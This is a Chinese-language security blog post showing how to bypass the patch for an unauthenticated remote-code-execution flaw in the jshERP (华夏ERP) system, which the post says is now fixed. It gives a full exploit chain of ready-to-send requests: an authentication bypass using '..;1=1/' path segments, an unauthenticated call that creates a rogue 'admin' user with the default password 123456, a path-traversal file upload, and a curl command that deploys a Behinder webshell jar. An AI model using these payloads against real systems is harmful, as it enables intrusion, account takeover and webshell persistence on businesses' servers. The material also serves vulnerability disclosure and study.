绕过补丁,再次实现华夏erp未授权rce(已修复)
前言
在上一篇文章的末尾中,我们提到开发者修复了漏洞,修复的方法是ban掉了%2E和查信息的接口:

没有了这两个东西,难道真的就不能继续实现未授权rce了吗🤔
继续绕过鉴权
现在校验url的策略为:
if(requestUrl.contains("../") || requestUrl.contains("..;/") || requestUrl.contains("%2e") || requestUrl.contains("%2E")) {
servletResponse.setStatus(500);
servletResponse.getWriter().write("loginOut");
return;
}
其实这个看起来很全面的黑名单仍然存在被绕过的可能,在 Java Web(Servlet 规范)中存在一个特性,在匹配路由时会忽略 ; 及其后面的内容,因为会将其解析成路径参数。在 Java Servlet API 中,URL 的路径部分可以包含分号,分号后面的数据被称为 Matrix Parameters 或 Path Parameters,当容器(Tomcat、Jetty、Undertow 等)进行路由匹配时,会默认忽略分号后的内容,因为认为那部分是参数而不是路径的一部分。
例如当我们请求/account;1111/findBySelect时,Servlet 路由会正确匹配到 /account/findBySelect,而1111 会被当作 /account 这个路径段的参数。这种分号参数在 JAX-RS、Spring MVC 等框架里可以用来在 URL 里直接传参(类似 REST 风格),比如:/books;lang=en;format=pdf。
以 redshift jdbc url为例,就可以看到两种非常典型的传参手法,第一种就是最常见的传参方法,url尾部接?,然后用&作为连接符号:
jdbc:redshift://127.0.0.1:5432/?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://127.0.0.1:50025/exp.xml
第二种就是上文提到的通过分号进行传参:
jdbc:redshift://127.0.0.1:5432/;socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext;socketFactoryArg=http://127.0.0.1:50025/exp.xml
因此对于上面这个黑名单,最简单的绕过方法就是在分号后面随便加一点东西,这样就能在不影响路由匹配的情况下绕过黑名单../和..;/,比如..;1=1/
还是用之前提到的经典例子,正常情况下,未授权访问接口/jshERP-boot/account/findBySelect会被拦截:

而我们只需要用..;1=1/构造一个白名单开头的路径,即可成功未授权访问:
GET /jshERP-boot/webjars/swagger-ui/css/..;1=1/..;1=1/..;1=1/account/findBySelect HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:3000/dashboard/analysis
Sec-GPC: 1
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

逻辑缺陷
在上一篇文章中,我们通过接口/user/info获取了管理员的密码哈希,由于这个项目只需要密码哈希即可完成登录操作,因此我们登录进入了管理员后台。在补丁中,开发者在getUser这里加上了校验,先检查是否登录,然后才能查询用户数据:

再次访问那个接口,会返回异常:

不过也就只在查用户信息这里打上了补丁,user下面的其他大部分接口还是能被我们未授权访问到的,比如我们可以看到这里有一个能插入用户的接口,他就还是能被未授权访问:

跟进insertUser,在 Service 层这里,当我们选择插入一个用户,他的密码会被初始化为123456然后转MD5:

继续跟 Mapper 接口层的insertSelective,可以看到没什么东西:

最后看到 MyBatis XML 映射层,MyBatis 框架根据 XML 配置生成动态 SQL 并执行 INSERT INTO jsh_user 的 SQL 语句,可以看到需要的参数有id、username、login_name 啥的:

从上往下一路跟过来应该能发现一个非常严重的问题,他这里完全没检验插入用户的信息,所以我们可以直接插入一个username和loginName都叫admin的用户,只要id和之前管理员的120不一样,数据库就能插入成功。
再次喜提rce
这里我把原始管理员的密码改了,123456的哈希是e10adc3949ba59abbe56e057f20f883e,很明显这里不是:

如果用e10adc3949ba59abbe56e057f20f883e登录管理员也会被拒绝:

这里我们插入一个id为1、username和loginName都叫admin的新用户:
POST /jshERP-boot/webjars/swagger-ui/css/..;1=1/..;1=1/..;1=1/user/add HTTP/1.1
Host: localhost:3000
If-None-Match: W/"4eb6-WjZskHod5Qc28kSz2qzMbH8uzs0"
Purpose: prefetch
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Sec-Purpose: prefetch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.102:3000/login
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 76
{
"id":"1",
"username":"admin",
"login_name":"admin",
"tenant_id":"0"
}

可以看到数据库已经插入了对应的用户,密码为123456:

现在我们就能用admin 123456再次登录后台:

虽然光看后台,我们这个新账户似乎没有上传插件这个功能点:

不过分析上传插件的接口uploadConfig,可以看到他只是校验了当前用户的LoginName是不是admin,所以这一点也无关紧要,我们现在还是能上传插件的:

首先利用路径穿越创建plugins目录:
POST /jshERP-boot/plugin/uploadPluginConfigFile HTTP/1.1
Host: 192.168.110.69:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------64343665641219398361207370473
X-Access-Token: c5ea0d60508f4533b5f816a8e5eebf6a_0
Content-Length: 257
-----------------------------64343665641219398361207370473
Content-Disposition: form-data; name="configFile"; filename="../plugins/fushuling.txt"
Content-Type: text/plain
fushuling
-----------------------------64343665641219398361207370473--


最后和之前一样部署一个冰蝎马上去即可:
curl -X POST "http://localhost:3000/jshERP-boot/plugin/uploadInstallPluginJar" -H "X-Requested-With: XMLHttpRequest" -H "X-Access-Token: b1accb46452544e9993eb8be2a2c36bd_0" -F "file=@D:\渗透工具集\Behinder_v4.1.t00ls\webshell.jar;type=application/octet-stream"


后记
现在的修复策略是ban掉了..
